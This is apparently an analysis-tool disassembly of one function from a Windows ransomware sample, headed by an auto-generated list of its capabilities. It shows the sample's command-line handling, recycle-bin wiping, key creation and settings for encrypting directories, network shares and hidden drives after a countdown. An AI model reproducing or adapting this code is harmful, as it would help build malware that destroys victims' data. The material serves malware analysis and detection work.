Function at 0x407d80
Capabilities:
Accept command line arguments
Create new key via cryptacquirecontext
Empty the recycle bin

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x423004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea eax, [ebp - 8]
push 0xf0000000
push 0x18
push 0
push 0
push eax
mov dword [ebp - 8], 0
call esi
test eax, eax
jne 0x407dcb
push 0xf0000008
push 0x18
push eax
push eax
lea eax, [ebp - 8]
push eax
call esi
neg eax
sbb eax, eax
and eax, dword [ebp - 8]
jmp 0x407dce
mov eax, dword [ebp - 8]
mov dword [0x424274], eax
test eax, eax
je 0x40821a
push ebx
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 7
push 0
push 0
mov ebx, eax
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
mov esi, dword [ebp - 0xc]
cmp esi, 1
jle 0x407e85
lea ecx, [esi - 1]
push ecx
push str.___Count_of_arguments:__d_n
call fcn.00404800
mov esi, 1
add esp, 8
cmp dword [ebp - 0xc], esi
jle 0x407e3d
push dword [ebx + esi*4]
push esi
push str._____d___s_n
call fcn.00404800
inc esi
add esp, 0xc
cmp esi, dword [ebp - 0xc]
jl 0x407e26
push 0x421510
call fcn.00404800
mov esi, dword [ebp - 0xc]
add esp, 4
cmp esi, 1
jle 0x407e85
mov edi, 1
nop word [eax + eax]
push 0x421514
push dword [ebx + edi*4]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x407e7d
lea eax, [edi + 1]
cmp eax, esi
jl 0x407ffa
inc edi
cmp edi, esi
jl 0x407e60
mov esi, dword [ebp - 0xc]
xor eax, eax
mov dword [ebp - 8], eax
cmp esi, 1
jle 0x407ec5
mov edi, 1
nop dword [eax]
nop dword [eax + eax]
push str.__dir
push dword [ebx + edi*4]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x407ebd
lea eax, [edi + 1]
cmp eax, esi
jl 0x408006
inc edi
cmp edi, esi
jl 0x407ea0
mov esi, dword [ebp - 0xc]
xor eax, eax
mov dword [ebp - 0x10], eax
cmp esi, 1
jle 0x407efe
mov edi, 1
nop dword [eax]
nop dword [eax + eax]
push str.__sup
push dword [ebx + edi*4]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x408012
inc edi
cmp edi, esi
jl 0x407ee0
mov esi, dword [ebp - 0xc]
xor eax, eax
mov dword [0x424270], eax
cmp esi, 1
jle 0x407f2e
mov edi, 1
nop
push str.__ens
push dword [ebx + edi*4]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x40801f
inc edi
cmp edi, esi
jl 0x407f10
mov esi, dword [ebp - 0xc]
xor eax, eax
mov dword [0x42427c], eax
cmp esi, 1
jle 0x407f5e
mov edi, 1
nop
push str.__lhd
push dword [ebx + edi*4]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x40802c
inc edi
cmp edi, esi
jl 0x407f40
mov esi, dword [ebp - 0xc]
xor eax, eax
mov dword [0x424278], eax
cmp esi, 1
jle 0x407f8b
mov edi, 1
nop
push str.__debug
push dword [ebx + edi*4]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x408039
inc edi
cmp edi, esi
jl 0x407f70
xor eax, eax
mov dword [0x424268], eax
call fcn.00405540
call fcn.00406340
mov esi, dword [ebp - 8]
test esi, esi
je 0x407fc1
cmp dword [0x424268], 0
je 0x407fba
push esi
push str.___Start_encryption_of:__s_n
call fcn.00404800
add esp, 8
mov ecx, esi
call fcn.00405790
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x408066
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
call esi
cmp word [ebx + eax*2 - 2], 0x2f
je 0x408043
push ebx
call esi
cmp word [ebx + eax*2 - 2], 0x5c
je 0x408043
push str.____Please__add_____to_the_end_of_directory__n
call fcn.00404800
add esp, 4
jmp 0x4081fe
mov eax, dword [ebx + edi*4 + 4]
mov esi, dword [ebp - 0xc]
jmp 0x407e87
mov eax, dword [ebx + edi*4 + 4]
mov esi, dword [ebp - 0xc]
jmp 0x407ec7
mov esi, dword [ebp - 0xc]
mov eax, 1
jmp 0x407f00
mov esi, dword [ebp - 0xc]
mov eax, 1
jmp 0x407f30
mov esi, dword [ebp - 0xc]
mov eax, 1
jmp 0x407f60
mov eax, 1
jmp 0x407f8d
cmp dword [0x424268], 0
je 0x40805a
push ebx
push str.___Start_encryption_of_directory:__s_n
call fcn.00404800
add esp, 8
mov ecx, ebx
call fcn.004049a0
jmp 0x4081fe
test esi, esi
jne 0x408201
mov eax, dword [0x424268]
test eax, eax
je 0x40811d
push str.___Settings:_n
call fcn.00404800
mov eax, dword [0x424268]
add esp, 4
test eax, eax
je 0x40811d
cmp dword [0x424270], 0
mov esi, 0x421670
mov eax, esi
mov edi, 0x421674
cmove eax, edi
push eax
push 0x421678
call fcn.00404800
mov eax, dword [0x424268]
add esp, 8
test eax, eax
je 0x40811d
cmp dword [0x42427c], 0
mov eax, esi
cmove eax, edi
push eax
push str._____s__Encrypt_network_shares_n
call fcn.00404800
mov eax, dword [0x424268]
add esp, 8
test eax, eax
je 0x40811d
cmp dword [0x424278], 0
cmove esi, edi
push esi
push str._____s__Load_hidden_drives_n_n
call fcn.00404800
mov eax, dword [0x424268]
add esp, 8
test eax, eax
je 0x40811d
push 0x421670
push str._____s__Debug_n_n
call fcn.00404800
mov eax, dword [0x424268]
add esp, 8
cmp dword [0x424278], 0
je 0x408141
test eax, eax
je 0x408137
push str.___Loading_hidden_drives..._n
call fcn.00404800
add esp, 4
call fcn.00404ff0
mov eax, dword [0x424268]
test eax, eax
je 0x408152
push str.___Starting_full_encryption_in_5s
call fcn.00404800
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
cmp dword [0x424268], 0
je 0x408175
push 0x41f9d8
call fcn.00404800
add esp, 4
push 0x3e8
call esi
cmp dword [0x424268], 0
je 0x408192
push 0x41f9d8
call fcn.00404800
add esp, 4
push 0x3e8
call esi
cmp dword [0x424268], 0
je 0x4081af
push 0x41f9d8
call fcn.00404800
add esp, 4
push 0x3e8
call esi
cmp dword [0x424268], 0
je 0x4081cc
push 0x41f9d8
call fcn.00404800
add esp, 4
push 0x3e8
call esi
cmp dword [0x424268], 0
je 0x4081e9
push 0x4217d0
call fcn.00404800
add esp, 4
call fcn.00404ee0
cmp dword [0x42427c], 0
je 0x4081fe
xor ecx, ecx
call fcn.00404d90
mov esi, dword [ebp - 8]
call fcn.004055e0
pop edi
test ebx, ebx
pop ebx
jne 0x40821a
test esi, esi
jne 0x40821a
call fcn.00405fa0
call fcn.00405d60
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.0040822b
mov esp, ebp
pop ebp
ret